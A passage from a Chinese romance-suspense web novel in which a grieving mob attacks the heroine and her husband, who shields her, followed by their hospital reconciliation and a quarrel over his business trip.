陆京御总算放过她,“你现在被人盯上了,凶手没落网之前,减少出门。” 他真的是后怕。 有人盯着她,对她放尸体的地点了如指掌,当然是盯了她很久了。 但她完全没察觉自己一个人在深山老林到处乱晃。 想到这个他就冷汗淋漓。 江凝烟又不听话,“我去深山老林都带着锯,怕什么。最多晚上不去了。” 陆京御眸光发冷,“你以前还有晚上出去埋的?” 他上下打量她,“你究竟是怎么活到二十一岁的?” 江凝烟插科打诨道:“靠机智、勇敢、真诚、善良!” 陆京御:“” 机智勇敢姑且不论,真诚?善良?你? “吱————”汽车发出一阵尖锐的刹车声,轮胎摩擦地面像是要着火。 “卧槽!”司机大哥一声惊呼。 江凝烟的脑门差点磕到前面椅背,再抬头发现车窗被人墙堵得像是城墙一样密不透风,夕阳下,车内本来明亮鲜丽的光线忽然黑压压,像是暴雨前奏。 外面人头攒动,人流将车堵得水泄不通。 他们坐在密封特别好的劳斯莱斯里面,此刻也能听到此起彼伏豺狼般的叫嚣声。 “杀人偿命!” “血债血偿!” “还我女儿命来!” “法律到不了的地方,我们父母会到!” “杀人偿命!杀人偿命!杀人偿命!” “血债血偿!血债血偿!血债血偿!” 是那些受害者家属!她没被带进审讯室,没被关起来,刺痛了他们的神经了? 陆京御直接将她拽来身边,两人坐在座位上劳斯莱斯后座霎那间变得拥挤。 “躲我身后。”陆京御将她塞在他后面,“报警。” 江凝烟被挤在他的后背和靠椅之间,几乎看不见她人。 她扭头看了一眼,保镖们的车也被围攻上了。完了。 “嘭!嘭!嘭!嘭!” 玻璃窗瞬间被砸得粉碎,有玻璃碎片飞溅过来,陆京御抬胳膊挡了一下脸。 对方来势汹汹,凶神恶煞根本不进行任何语言交流,直接手伸进来拉开锁,哪怕手腕被刮出血也在所不惜。 陆京御愤怒道:“她是无辜的!你们这样做跟凶手没有区别!” 一根铁棍毫不犹豫地朝他砸去,陆京御徒手接住,江凝烟在他背后看见对方这狠劲,心头一寒,“报警!在留平路跟吴江路的交叉口,几十个人要杀掉我!” 她报警被人听到,像是火上浇油,对方更加疯狂,接连不断地巨响能震碎人耳膜。 劳斯莱斯的车门被人粗暴地拉开。 “嘭!”的一声,一根铁棍砸在陆京御的小臂上,声音听着像是能打断骨头。 “陆京御!”江凝烟尖叫,难以想象这一棍有多痛,江凝烟感觉到他疼得浑身抖了下,“别伤他!你们伤了他有的是人为他报仇!一个都别想活!” “没有女儿,我们也没想活着回去!今天就一个目的!干死你这杀人凶手!” “这是他自找的!” “再不滚开,先打死你!” “包庇罪犯,同样该死!” 那些人七嘴八舌恶狠狠地大骂道。 那男人赤红着眼下了最后通牒:“想活命的,给老子滚开!” 江凝烟听着他们的谩骂攻击,内心阴鸷狂怒。 卧槽。 卧槽。 卧槽。 这令人作呕的世界。 这一帮蠢蛋。 不分青红皂白,随便就被人煽动利用了。 自己的孩子死了连报仇都报错了对象。 不过,蠢是蠢了点,但倒确实会疼女儿。 有爹妈疼的孩子真好啊,死了起码有人帮忙报仇。 而她,就算被人活活打死,跟她有血缘的人不是无所谓,就是觉得她死得好呢。 她的命运就是成为别人的出气筒,最后,被人活活打死? “嗷——” 刚才叫嚣的男人跪地惨烈地哀嚎,打断了她的思绪。 她睫毛一颤,是陆京御忍着痛抢过了一根铁棍,狠狠地砸了那男人脖子,动作间都是毫不留情的狠厉,“想伤她?除非我死。” 想伤她,除非……他死? 江凝烟瞳孔一缩。 他脖子上都是冷汗,呼吸粗重,下手直击要害,竟是不怕把仇恨引到自己头上,一副豁出性命要跟他们干到底的架势。 她忽然反应过来一件事:陆京御不管那最后通牒,依旧没打算放弃她。 有人从另一边爬进来,意图将她从他身后扯出来,“你给老子下来!” 陆京御这时更发了狠似的直接给了堵在他车门前的人两棍。 “啊!”一个男人惨叫得哭出来。 “说了,别碰她!”陆京御一棍子砸在人脖子上,一脚踹在他肚子上,踹飞了这个男人,动作利落又干脆。 陆京御将江凝烟拉出车,塞在自己后背和车门之间,用他宽阔的肩膀将她牢牢挡住。 他有了铁棍浑身气势更上来了,天边血红的火烧云烧到他肩头,背影像是燃烧着的战士。 他整个人浸着夕阳般鲜红的血性,一手提着铁棍,咬牙切齿地说:“跟你们说人话听不懂是吧?今天谁伤到她,我也一样,赌上我的命也会弄死你们!” 江凝烟神情错愕,从没在现实生活中见过这样的血性,敢一个人对抗几十个发疯的疯子。 更奇怪的是,这血性,居然是为了……保护她 更更更奇怪的是,这个人分明很温柔,她说什么他都好,她怎么闹他都笑。 她眨眨眼,看了眼眼前宽阔高挺像山一样的脊背,觉得有些不可思议。 “包庇杀人犯一样该死!”人群中有人叫了一声。 几根棍棒一起朝陆京御砸去。 陆京御提臂横扫,将前面几个人的攻击化解,发狠地回击前面两个男人。 铁棍“当当当”的,在空中摩擦出火花,声音刺耳又令人心慌。 基本上大多数人吃了一棍就起不来。 陆京御偶尔被打到胳膊肘、打到腰、打到腿,却还是直挺挺地站着。 只是被打到的时候,贴着他站的江凝烟整个人都会震一下。 江凝烟看着他浴血奋战,不知道哪儿像是地震了。 大地龟裂,山川崩塌,地动山摇。 他偶尔侧过身子的时候,她发现他嘴角流淌着血丝。 她不理解。 他们也不是很熟。 妻子也有名无实。 值得为她这样拼命吗? 他的命多矜贵啊。 陆家几千亿财产的继承人,自己就有上千亿。 活下去,好端端地活下去,每天都是呼风唤雨的好日子。 值得为她拼命吗? 后面的人见陆京御难缠,猩红着眼,狰狞着脸,商量战术,“林、俞,咱三扑上去抱住他!即使被打中也不能放手!王和李直接给他来两下狠的!” 话音刚落,三个人就扑上来,硬生生地挨着棍都要死死地抱住陆京御。 陆京御的手被钳制住。 江凝烟心想,这下他真的会被打死。 江凝烟目光一凛,从他背后像条泥鳅一样钻出来,捞起地上的棍,直接一棍砸在扑住陆京御的男人后背,动作迅速地将他拎起来,用胳膊肘勒住他的脖子,死死地勒在自己身前,一手拿铁棍指着前方。 “谁都不许动!否则我立刻弄死他!” 所有人的动作有一瞬间的停滞。 片刻的寂静。 江凝烟阴森森地笑了声,“有个孩子最后的遗言要听吗?” 拖延。 警方肯定马上就到。 这些人组团的,必定会在意并且共情别的受害者家属。 如果孩子的遗言家属要听,他们不会阻止。 “果然他妈是你?!哪个孩子的遗言?”受害者家属暴怒。 陆京御这时还在跟钳制住他的两个人搏斗,“烟烟!” 江凝烟怒骂道:“她的遗言就是:一群蠢货!报仇都报错对象!被凶手用来借刀杀人,帮凶手杀人!凶手开心坏了!” 那群人愣了一下。 江凝烟接着骂道:“你们有脸下去见孩子吗?你们孩子死的那么惨,你们却在帮凶手杀她想除掉的人啊!你们做凶手的刀啊!凶手的刀可是曾坎死你们孩子啊!一刀一刀剐了你们孩子,嫁祸给我。你们孩子在地下看着呢,她们死不瞑目啊,大仇未报,父母无脑送死!你们怎么有脸去见你们孩子?” “究竟是谁害的她们都没搞清楚,就被人煽动,你们长没长脑子啊?你们孩子好可怜啊,摊上你们这种脑子进水的爹妈,赌上自己的性命,帮凶手做事” “你们真是,一、帮、蠢、货!” 第24章 这二十八年,最荣耀的一天 暮色下的喧嚣有片刻沉寂。 每个人的呼吸都很沉重, 像是火烧后的浓烟,压抑颓败。 “不要被她妖言惑众了!今天放过她,这辈子可能都报不了仇了!” 怒火瞬间死灰复燃。 这帮人的脸重新狰狞起来。 前排的人拿着棍棒逼近。 江凝烟仰天大笑道:“哈哈哈哈!凶手好高兴啊!她好开心啊!” 前排的人一顿。 江凝烟笑得欢乐, “她好开心啊!你们杀了我,最高兴的就是凶手了!她开心死了!” 在这种氛围下,笑容诡异又病娇。 前排的人面面相觑。 江凝烟笑:“你们猜猜凶手现在是什么心情?” 她大声笑, 声音里都是酣畅淋漓的爽感, “骄傲!自满!喜悦!兴奋到战栗!” 这一个个词像是刀一刀一刀劈在众人身上, 众人脸色惨白又狰狞。有人开始想, 如果真的不是她, 那真正的凶手看见这场景该有多得意多高兴啊! 怎么能让凶手得意?!他们要凶手死啊! 她阴森森地笑, “她会自满于她好聪明,好天才啊!把你们这帮人玩弄于股掌之中,杀了你们女儿你们还帮她除掉她最恨的人!她会开香槟庆祝,小施计谋就成功嫁祸给了我,终于搞死了我!” 众人的脸色一阵青一阵白, 呼吸急促得像是要心梗。 她提起铁棍, 指着他们, “而你们!今天杀了我, 这辈子都会被关进监狱!再也报不了仇了!” 她笑着道:“凶手她, 操控这场闹剧, 一定觉得自己是神明!是上帝!爽死了、痛快极了!” 现场肃静得如同在墓地。 人群中又有人高声喊道:“她埋的尸不是她还有谁?!” “宁可错杀,不可放过!” 对, 她在企图蒙混过关! 宁可错杀, 不可放过! 放过就再也没有机会了! 这时有人混乱想用铁棒击打江凝烟的肘部。 铁棒高高举起! 江凝烟拉着身前的男人挡, 但不用肘部就再难控制住男人,男人被同伴拉走。 数根铁棍抡起。 她倒吸一口凉气, 真的会被爆头! 陆京御这时击倒了那两人,扑到她身前,用脊背挡住。 他平时身上很香,一股贵公子又精致又霸气的气息,清冷又瑰丽,此刻身上已经弥漫着血腥味,很冲鼻。 这几棍下来,如果陆京御被打中头,他真的会被打死! 千钧一发之际,江凝烟大喊道:“我知道凶手是谁!!!!!” “嘭!”举起来五六棍,大多数都停住,最后还是有一棍砸在陆京御脊背上。 陆京御浑身一震,结结实实地挨了一棍。 这一棍之后,他浑身都无力了,沉甸甸地压在她身上。 她不知道他有没有被打中头。 她心脏像是被捏住了,手臂紧紧抱住他的后背,他背上本来就有伤,一下子摸到粘稠的液体。 她的手像是血泊里捞出来的,布满了血,她手指尖颤了几下。 有人又想接着打。 她重复道:“我知道凶手是谁!!!!!!” 那人被同伴拦住。 “是谁?” “警方不让我说,他们在秘密行动,收集证据。” “骗谁呢?!” 江凝烟说:“但我可以告诉你们中的一个!你们找个人上来!” 她表面镇定,心里焦急。 警察、警察、警察!!!!! 怎么还不来!!!!! 陆京御挨了这结结实实的一棍后,明显重创,但他依旧在试图发力,控制自己沉重的身体。 就这样了,他还想起来,再战。 像个不要命的狂战士,要战到最后一口气。 真不要命了,这人的血已经不光是热的了,而是烫得可以炼钢了。 傻不傻啊。 江凝烟手掌不动声色地拍拍他,示意他稍安勿躁。 这帮人选了就近原则。 前排的男人说:“你说给我听,是谁?” 江凝烟压低声音对他说:“你们的孩子是吴雪雯和她的同伙一起杀的。她们杀了人之后准备嫁祸给我。但吴雪雯有她同伙的把柄,要挟她同伙,后来就被她同伙除掉了。” 男人越听呼吸越急促,问:“她同伙是谁?” 江凝烟说:“警方已经锁定了嫌疑人,不然也不会放了我。” 男人问:“哪个嫌疑人?” 江凝烟:“吴雪雯的金主。” 男人又问:“到底是谁你说不说?” 这时候,陆京御又又又站起来了,晃了晃脑袋,转过身,瞥过脸都战损成这样了,还要凶他,“你吼什么呢?” 江凝烟:“……” 她悄声跟他说:“你别出声。” 陆京御摸了摸她后脑勺,“忍不住。” 江凝烟笑了,“打到脑袋了吗?打到头了我就不告诉他们了,让他们这辈子都报不了仇。” 男人:“…” 陆京御:“倒是没有,一点点后颈,震的,没事,还能打。” 江凝烟:“……” “你歇会啊,刚刚特英勇,我都看见了,爱死了。” 陆京御开心地笑了下,“真的?那就好。” 男人看他们这种紧要关头还在打情骂俏,急得他上火,说:“快说啊,到底是谁!” 陆京御见他这样又跟他吵了起来,“别、吼、她!” 男人气急败坏,又想使用暴力。 江凝烟立刻插嘴,“你别动他啊!再敢碰他一下,这辈子都不告诉你!” 男人威胁道:“揍你几顿就老实了。” 江凝烟冷笑道:“那我就超大声地说是我干的!这么多人听着呢,警方可就结案了!一旦真结案,你们就真的永远报不了仇!就让凶手逍遥法外好了!反正你们也是杀死我老公的凶手!同样可恨!” 男人的手僵住,一时间拿不定主意。 边上的人看急了,问他,“到底是谁啊?” “她还没说。” 那人暴怒,“她拖延时间呢!” 那人上前,气势汹汹,“宁可错杀,不可放过!警察马上来了!” 刚才那男人却拦住他,“住手!” “为什么?” “她说动她一下,她会大声说是她干的,让警方结案!万一不是她,警方真结案了,我们永远找不到凶手!” 这街上附近没人敢上前,但是楼上可都是在看戏的人,很多人在录像。 如果她真大声喊是她干的,她愿意自首,那警方有录像没准就结案了。 “但是,放过她,这辈子都杀不了她了!就她这背景,瞒天过海轻而易举!” 两人交头接耳,一顿谋划。 他们谋划着捂住她的嘴巴,劫走她,到别的地方逼供。他们跟前排的人暗通款曲,准备绑走江凝烟。 受伤的陆京御警惕地转身,有用后背挡住江凝烟,拖着铁棍,肩头微微摇晃,看着他们冷笑道:“好啊,谁先上前,我先爆谁头。” 剑拔弩张。 在双方又要打起来的时候,警笛声传来。 “都干什么呢?!都不许动!”- 江凝烟坚决指控他们所有人杀人未遂,绝不放过任何一个。 这些人确实是有收到很多证据,寄信人说是偶然发现的,不敢说,也不敢实名,害怕被杀。说她背景深厚,警方不会拿她怎么样,但出于良心与同情,愿意把这些证据交给受害者家属。 江凝烟完全不管自己是不是还在受指控,坚决指控他们每一个人杀人未遂。 警方经过讨论,暂时扣押了这些人。 江凝烟跟这帮人发疯的时候上蹿下跳,狠话撂尽,在警察局也不甘示弱,强烈要求给个公道,这会坐进陆家派来的车里却闷不吭声,老实巴交。 陆京御看了她好几眼,她都避开视线。 陆京御:“?” 怎么了? 他特地没让父母跟他们坐一辆车,就是怕父母问多了她不自在,怎么就他们两个还不自在? “我伤口裂了。”他声音刻意有点儿虚弱。 江凝烟倏地看向他。 他昨天刚缝的六针,今天直接裂了。 穿着黑色的西装都能看出血的颜色,血顺着座椅缝线流下来。 江凝烟心里很慌。 她会演戏也会撒谎,这时可以表演感动炸了,爱上了的桥段,但是,又觉得陆京御起码值得她真诚。 第一次她慌了。 她不知道在他受伤的时候,该怎么表达自己的关心。 她没有无动于衷,但她也没有这时候正常人该有的泪流满面。电视剧里,这种时候,女主肯定哭得稀里哗啦,她应该也那样。 可她哭不出来。 她开始担心,如果她关心不到位,陆京御是不是会对她心灰意冷。 那她是不是才开始拥有些什么,就失去? 不知道陆京御的爱护来自哪儿,但好歹,他在用尽全力爱护。或许他不管娶了谁都会这样对待,可是,她有些喜欢这种被爱护的感觉,不想轻易失去。 她眨了下眼睫,爬到他的座位前,不敢坐在他腿上,怕压到他伤口,坐在他腿间。 在她坐过来的时候,陆京御就敞开腿给她让空间,唇角扬起抹弧度。 江凝烟俯身轻轻抱着他,“很疼是不是?” 她像是块小海绵,吸收着早上陆京御知道她骨折时的温柔。 陆京御笑着想摸摸她的脑袋,却发现这会连胳膊都抬不起来,就下巴搁在她肩上,笑道:“嗯。但还能再战。” 她闷在他怀里,闻着他身上浓重的血腥味。 “陆京御。”她说,“你怎么这么好。” 好到她都不知道该怎么对他了。 江凝烟觉得她此时此刻的心情,大概像是她坚不可摧甚至连门都没留的城墙,乍然裂开了一条缝。她常年在城墙内,好奇外面的世界,又怕走得太远回不到自己的城墙,有些不知所措。 她从来没见过这样的男人,他矜贵但真诚,他勇猛但温柔,他清冷但炽热,他像太阳一样明亮,又像月亮一样美妙。 此刻,她茫然得甚至希望这是她对他认识尚浅,这是他的伪装,但是,她又知道没人会拿这么矜贵的命来伪装。 他浴血奋战的场面闭上眼还在脑海里回放,冲撞着她迄今为止建立的三观。 她时常对真善美嗤之以鼻,觉得那是那些位高权重的人的权术,她只有真善美了,对方才好控制她驾驭她吞噬她。她的每一丝真善美,都将成为推她走上绝境的助力,都将成为祭献她的那把火。所以她内心冷漠绝情、发癫发疯,不服管教。 她认为只有跟他们一样铁石心肠,才有可能在这个虚伪又烂透了的世界里生存。她一边在这个肮脏恶臭的世界里苟活,一边每天都想创飞这个世界。 但这次不一样,第一次,有人用真善美来对待她,而不是用真善美来要求她。 让她隐约察觉,这世界上也有人活成这样:温柔又强大。 他好到让她觉得恐慌。 “陆京御,我值得你拼命吗?” 她没有那么好。 她也害怕变好拒绝变好。 就像恐惧深海一样,害怕坠落,害怕未知,害怕黑暗,害怕将人碾碎的压力。 她这么多年吸噬着黑暗长大,就是个恶劣的人,她就是个不想变好,又不会爱的人,他认清她后,会对她失望,会离开她。 陆京御好不容易抬起手来,抚了下她的脊背,松开她,注视着她,眼底璀璨如星辰,“烟烟,我这二十八年,风光无数,今天依旧是我最荣耀的一天。” 他低头吻了下她的唇,说:“我护住了你,赌上性命。” 第25章 不回就不回吧,就不等他回 陆京御没有吻得很深, 只是浅浅碰了一下。 他怕自己嘴里有血腥味。 “陆京御。”江凝烟伸手托着他的侧脸,脸部轮廓骨感又平整,“你一定要长命百岁, 也要越来越厉害,长长久久地站在这个世界最顶端。” 江凝烟由衷地希望这个世界的上层,多一些他这样温柔又强大的人, 少一些恶人。 陆京御笑, “好。” 陆京御进了医院处理伤口。 脱掉黑西装, 身上惨不忍睹。到处都是淤青紫块, 身体很多地方肿得吓人。 陆京御被送进CT室, 一道承重的门隔开他们。 陆妈妈沈语兮哪见过儿子这样子, 在边上疯狂落泪,“不知道有没有骨折,要是骨折了,长骨头还得疼上百天。” 江凝烟在一边有些心虚地瞟了她一眼,又立刻将视线黏在门上。 陆爸爸陆永平特别骄傲, “哭什么啊, 你生的, 这么勇敢, 一点不怂, 该骄傲才是。” 陆永平在警察局看见了儿子一个人单挑几十个人的视频, 他一把老血都看得沸腾了。 只能说,儿子真争气。 沈语兮哭着笑道:“我当然也骄傲。烟烟也很勇敢。” 江凝烟忽然被点名, 有点懵, “?” 沈语兮说:“骂得真好。要不是你机灵, 京御就被打死了。” 江凝烟:这事,好像也是因她而起…… 陆永平也看着她, 骄傲地道:“嗯。你这小姑娘,看着温温柔柔的,关键时刻这么能扛事啊。真的很棒啊。” 他对儿媳妇并没有多高的要求,只要儿子喜欢儿子开心就好。 其实当时京御他爷爷说联姻他还有些犹豫,京御年龄跟赵家的小外孙女相差很多,根本没多接触,如果两个人性格不合,相处起来多没意思。 他觉得男人还是得找自己很爱的,婚后才会幸福,所以他从来不给京御安排婚事。 但没想到京御他自己一口答应了。 那他当然乐见其成。他其实觉得谁成为他儿媳妇并没有区别,只要是京御的妻子他们家都会善待。 但,真到发生事的时候,这姑娘的表现倒是让他有些惊喜。 他本人其实觉得女孩子躲在男人背后也是理所当然的,不然要他们男人干嘛,但是,总有这样的女孩子,危险时刻敢独当一面,确实很让人惊喜,很有魅力。 江凝烟也看见视频了,那时候的精神状态有点吓人,对面有人在楼上拍的简直高清怼脸,把她那会的癫狂拍得淋漓尽致,幸好警方不让往网上传。 虽然这只是她真正的精神状态的稳定发挥而已,但她讪笑两声,给自己挽尊道:“我真没杀人,被逼急了,换谁都发疯。” 陆永平表情转为严肃,“你放心,陆家不会让人冤枉你的。” 江凝烟甜甜地笑笑,说:“谢谢爸。” 陆永平好奇地问:“你写的什么悬疑啊?发给我们看看?我们家的人都爱看书。” 江凝烟:“好。” 她把她用龙烟这个笔名在网上连载的悬疑小说转发给了陆永平。 陆永平兴致勃勃地点开,“哟,在这个网站很火啊。” 这是她的小号,但是读者眼睛都是雪亮的,发了一本,就属于这个平台的顶流了。 写完那一本再也没有时间拿小号写。 沈语兮也不哭了,好奇道:“哎,让我看看,哪个平台,哪本?” 陆永平转发给了她,她说:“我看过这本啊!写得超级好啊!哎哟,我不知道是我儿媳妇,我还给你投了雷。” 江凝烟:“?” 江凝烟:“哪个号是您的?” 沈语兮:“这个号,女主她大杀四方。” 江凝烟笑了,好巧,她记得这个读者,这个富婆给她砸了上百万。 沈语兮随手又给了她砸了五百万。 江凝烟:“……” 好好好。 多来点,她不会拒绝的。 这时候,陆京御CT室的门打开了,陆京御走了出来,江凝烟上前问:“骨折了吗?” 陆京御很自豪地说:“没有,标准硬骨头。” 江凝烟:“……” 瞧把他自豪的,她怀疑他小时候热血动漫没少看,这血蚊子吸了都能直接被烫死。 没想到啊,一个霸总人设,血还能是滚烫的。 挺有少年感。 江凝烟松了口气,笑道:“那就好。” 晚上回去,两人在房门前愣了一下。 江凝烟犹豫要进哪间房。 她其实今晚不想闹陆京御,他胳膊和腿都肿着的,下不了嘴。 第二个是,她长了一点不多的良心。 对,她长了点不多的良心。 不想玩弄他。 她抬眼看着他,在房门前沉默,不知道说什么。 陆京御回想今天出事之前他们俩在干嘛,他把她推在书架边上,亲。 但今晚他浑身是伤,而且他还不能洗澡,他有些在意,可又不想分开,他伸手勾住了她的手指。 江凝烟心脏一跳,脸上有些热。 他的手指都还肿着呢。 手都不能用了。 她目光挪到他脸上,只剩嘴可以用了。 太勉强了吧。 陆京御将她的神态尽收眼底,轻咳一声,松开了她的手,他的自尊心不允许他们的第一次他没法洗澡,还发挥不好。 他说:“要是做噩梦了,来找我。” 然后就率先进屋了。 不过,这次他连门都没关。 他不关门! 他不关门! 他不关门! 江凝烟洗完澡躺在床上,心脏怦怦怦狂跳。他不关门,这对她的吸引力就像是那片地上有金矿,还不用往地下挖,遍布大地,捡捡就是。 可是,他受伤了,这时候再去诱惑他也太不是人了。 他一激动别伤口又裂了。 她抱着被子翻了个身,腿缠住被子,劝自己道:做不了好人,起码做个人吧。 又把他伤口弄裂那真太畜生了。 江凝烟强忍住跑去隔壁的冲动。 忍着忍着就睡着了,晚上没有做噩梦,睡得还行。 不过,遇到这事,她跟学校老师请了几天假。 要了课件在家里看,无论什么时候,小命最重要。 工作室那儿也不去了。 发了微信让李佳盈也在自己家工作。 李佳盈也害怕,周围死了那么多人,瑟瑟发抖,不去她的工作室了。 陆京御看见她在家乖乖待着,倒是放心了,刚好说去沪城有点事,要出差几天,让她在家哪儿都别去,在家里保镖守着就没问题。 警察根据她提供的吴雪雯出狱就有经济支持这个线索查了下,没发现吴雪雯的银行卡里有交易。她用的是现金。 警察调出了吴雪雯死前住所的监控,发现吴雪雯快递叫得特别勤。所有的快递,她都会让对方放门口,但偶尔,她会开门。 警察查了下这些外卖单,发现,各个平台这个店都没有她住所的外卖单。 也是是说,这个送外卖的,只是穿了送外卖的衣服而已,送的很可能就是现金。 这就更可疑了。 警方一路追踪这个伪装外卖员的人,查看各个监控。直觉这个人是关键,可惜各个视频里看不清脸。 警方在争取找到这个人的位置,看看能不能确定对方的住所。 案子一度没有进展。 江凝烟让警方查一下吴雪雯在狱中要好或者有仇的人,还有狱中有没有人出事,不管表面跟吴雪雯有无关联先查下。 她暂时也不想去试探她爷爷,万一真是她爷爷干的,那江家的企业肯定大大受损,要是江家资不抵债,就算她诉讼,那她的两百亿也拿不到了。 她更希望,这事是别人干的。 江凝烟等得着急了,找了吴雪雯的狱警问吴雪雯在狱中的情况。 终于得到重要线索,那段时间,狱中死过人,而且是自杀的。 她直觉跟这件事有关,让警方再查查。 如果她的朋友是监狱里交的,弄死过人就是个大把柄。 江凝烟因为这个消息,心头松了下,想跟陆京御分享,又怕他不方便。忽然想到陆京御去了沪城好几天还没回来。 说出差居然去了五天了还没回来? 明天周末了,应该谈不成事要回来了吧? 她给他发了个微信:【什么时候回来?】 陆京御那边刚好正在跟大客户讨论他的产品,有些技术问题需要接洽,还挺麻烦的,这次出差可能会有点长,但他立刻给她回了,【在跟赫龙汽车讨论技术问题。】 江凝烟:【周末回来吗?】 陆京御还真说不好,得看下午讨论的结果:【等开完会回你。】 江凝烟:“???” 居然不告诉她周末回不回来? 周末还不一定回来? 他想周末在沪城干嘛?周末又不能工作。 难得的,江凝烟感受到一种陌生的情绪。 她忽然想起来看的那篇小坡文,男主开会晚回来一天,女主非常不高兴,不高兴到直接跑了,跑了之后男主就疯了,逮人,然后发疯。 她到也没有那么不高兴。 但这种情绪是什么? 理解,但又有些失望。 解读到这种情绪后她警铃大作,她怎么能内耗自己呢? 她分明都失望了,还要去理解他? 这不是以后天天只能失望但理解包容温柔体贴吗? 她不不不! 她才没这么好! 要不是她最近小命不保,她也要立刻给他跑一个!看看他什么反应! 想起这个江凝烟更不开心。 对啊,她还有危险着呢,他居然周末都不回来,就这么安安心心地在沪城开会。 她还要理解他? 她疯了? 她不可能这么善解人意的! 虽然情况不允许,她不能跑,但她可以关机。 分明可以简单地回个“回”字,他就是宁可打了六个字也不说个“回”字。 不回就不回吧,她果断把手机关了。 不要等他开完会回她。 就不等。 等陆京御开完会,想起主动找他的江凝烟,唇角勾起,心里高兴,她难得主动找他。 他直接给她打了个电话。 【对不起,您拨打的电话已关机。】 陆京御瞳孔猛地一缩。 第26章 “那你来脱,还是我脱给你看?” 江凝烟关了机, 锁了门,就在家里潜心写文。 她创作一旦进入剧情,就是心流模式, 几乎是水都不想喝的程度。 不知道过了多久,门外忽然传来敲门声,“夫人。先生让您给他回个电话。” 她起来, 到了杯水, 说:“你告诉他, 我在忙, 没时间。” 外面的阿姨瞬间为难了, “不会吧?一个电话都没有时间?” 江凝烟跟阿姨平静地说着距离感十分强烈的话, 说:“我的时间,那是我的。给不给他,我说了算。” 外面的阿姨:“……” 懂了。 先生出差,夫人生气了。 门外的阿姨没动静了,江凝烟瞥了一眼自己死亡状态的手机, 冷哼一声转开眼- 江凝烟这么一关机。 她完全不知道整个沪城上流圈子里都知道陆京御为了陪老婆, 缺席了特地为他举办的宴会, 冒着暴雨回去了。 本来, 早就安排好的, 暴雨都没能阻止沪城这些权贵前来参加特地为他筹备的宴会, 然而,主角冒着暴雨走了。 贵宾们在贺风驰的豪宅里面面相觑。 “陆总呢?” “陆总呢?” “陆总今天怎么没来?” 大家纷纷揣测京沪两位大佬是不是合作没谈成功啊。 陆京御当然想到了。他虽然跟贺风驰解释了他着急回去有事, 但贺风驰不是顾御洲, 不是他从小一个裤衩一起长大的, 两人认识,但是交情没到这份上。 要是顾御洲, 他走就走了,屁股怎么擦,全都包给顾御洲了。 但是,是贺风驰。 他不能让人家丢了面子。 陆京御让人给他录了段视频,真诚地表达了歉意,说妻子突然生病了,着急赶回去,下次再聚。 贺风驰特地给他回了个电话,让他完全不用在意,下次再聚。 因为今晚贺风驰举办的宴会属于比较正式的场合,有记者在,也会宣布两家的合作。陆京御因夫人生病缺席的新闻立刻传到了网上。 江凝烟的手机打不通,电脑上挂着的Q/Q里收到王亦薇的慰问:【怎么生病了啊?手机都关机了,很严重吗?】 江凝烟不明所以,【生病?我?生什么病?】 王亦薇甩了一条链接给她:【网上说你生病了。】 江凝烟看着这条链接,点进去,看见了新闻。 哦。 赶回来了? 是特地为他举办了宴会,参加不了了。找了个借口说她生病了。 她忽然想起一些不美好的回忆。 妈妈死的早,她的印象里就连她爸爸对她都会不耐烦。 她对她爸爸最深刻的记忆是大概四岁的时候,生病发烧,升温的时候觉得浑身发冷,闹着要爸爸回来。她爸爸跟她说在忙工作,让阿姨照顾她。 她那时候人虽小但精,知道拿姥爷压爸爸,说:“你要是我生病都不回来,我就告诉姥爷。” 他确实回来了,但她挨了顿臭骂。 从来没见过发这么大脾气面目这么狰狞的爸爸,不过,他这顿脾气发得特别管用,她后来再也不叫他回来了。 那还是她真生病的情况下,亲爹都是这样的态度。男人的事业心都强到所有的事都没有事业重要。 与其说那是事业心,不如说是对权力地位财富的渴望,超过一切。 男人都是这样的,利益第一,动他利益跟要他命没区别。 而且,沪城在下暴雨啊。 她起身,拉开窗帘,看了一眼外面。 京城今晚月亮很圆,夜穹澄澈,她没想到沪城今天是暴雨。 他冒着暴雨连夜赶回来,会生气吧。 她没关注沪城的天气,宴会放了别人鸽子,路上碰到暴雨肯定心情更烦躁,说不定会大发脾气。飞机要是特别颠簸,会更生气。 与其挨顿骂,不然,还是走吧? 去哪儿呢? 工作室那容易被人盯,去不了。 她也没在京城买别的房产。 不然住酒店。把自己的五个保镖叫上,到比较闹市区安全点的酒店,应该问题不大。 然后明天再去买套安全点的房子吧。 江凝烟开始收拾东西,衣服、化妆品、电脑塞进了行李箱里。 走到楼下,几个阿姨立刻上前拦住她,其中一个劝道:“陆总已经在回来了,夫人再耐心等等,他都快到了。” 江凝烟淡淡地说:“我知道他在回来了,但我有事先走了。” 阿姨当然不让她走,“哎呀,夫人,别太生气,男人肯定得忙事业,但您看,您一生气,他立刻赶回来了,可见真心。” 另一个阿姨说:“就是啊,您就别跟他生气了。陆总这么马不停蹄赶来那是对您特别上心。” 恐怕就是因为马不停蹄,回来会特不高兴。 江凝烟没什么情绪地道:“我是一点自由都没有了吗?” 几个阿姨面面相觑,但没让开。 江凝烟说:“我婚后在外面住是正常的,来这儿住是个例。怎么才来住了几天,我就非得住这儿了?” 几个阿姨不敢说话,也还是不让开。 江凝烟说:“自己让开,还是我请人把你们请开?” 几个阿姨看了眼她身边的保镖,只能让开。 江凝烟到了地下车库,发现一个问题。 她的法拉利自己开开行,没办法带那么多保镖啊。 最多副驾驶带一个。 她瞥向陆京御的一排车。 劳斯莱斯不在,估计司机去接他去了。 不知道这些车,哪辆的车钥匙在,她借一辆,明天再让人给他还回来。 地库那儿有个保安坐在那,江凝烟问他:“这些车的车钥匙是你保管的吗?” 保安说:“嗯。” 江凝烟:“那把他的这辆迈巴赫借我。” 保安低着头不敢说话。 她半夜提着行李要出门,还要借车,要真借了,万一陆总怪罪起来,他还要担责。 江凝烟:“不借?是吗?” 保安说:“不是,您不然跟陆总打电话确认一下,这迈巴赫好久没开了,我怕这车万一有点毛病,您出了事,怎么办?” 江凝烟:“出了事,不怪你。我给你签个免责声明。” 保安:“……” 不、不用了吧? 不走不就好了吗? 江凝烟说:“不过,你要是不借,我只能带一个保镖走,出了问题,就不知道陆总会不会怪你了。” 保安:“……” 救命啊。这么难搞呢? 正当他叫苦连天的时候,外面两道强光射进地库,是劳斯莱斯。 他眼睛发光! 陆总回来了! 江凝烟闭了闭眼挡光。 这么快就回来了啊。 她一时间僵在原地,不知道该怎么做。 好像不得不打个照面了。 他要是态度不好,她就立刻走人吧,也不用带多少保镖了,就带一个。 她转头跟她的保镖说:“阿瑞,等会你跟我走,剩下的,等我们到了酒店,你们自己打车过来吧。” 阿瑞看了她一眼,没多话:“好。” 江凝烟把行李箱拖过去,放到后车厢。 自己直接坐上法拉利的驾驶位,一副随时准备走的样子。 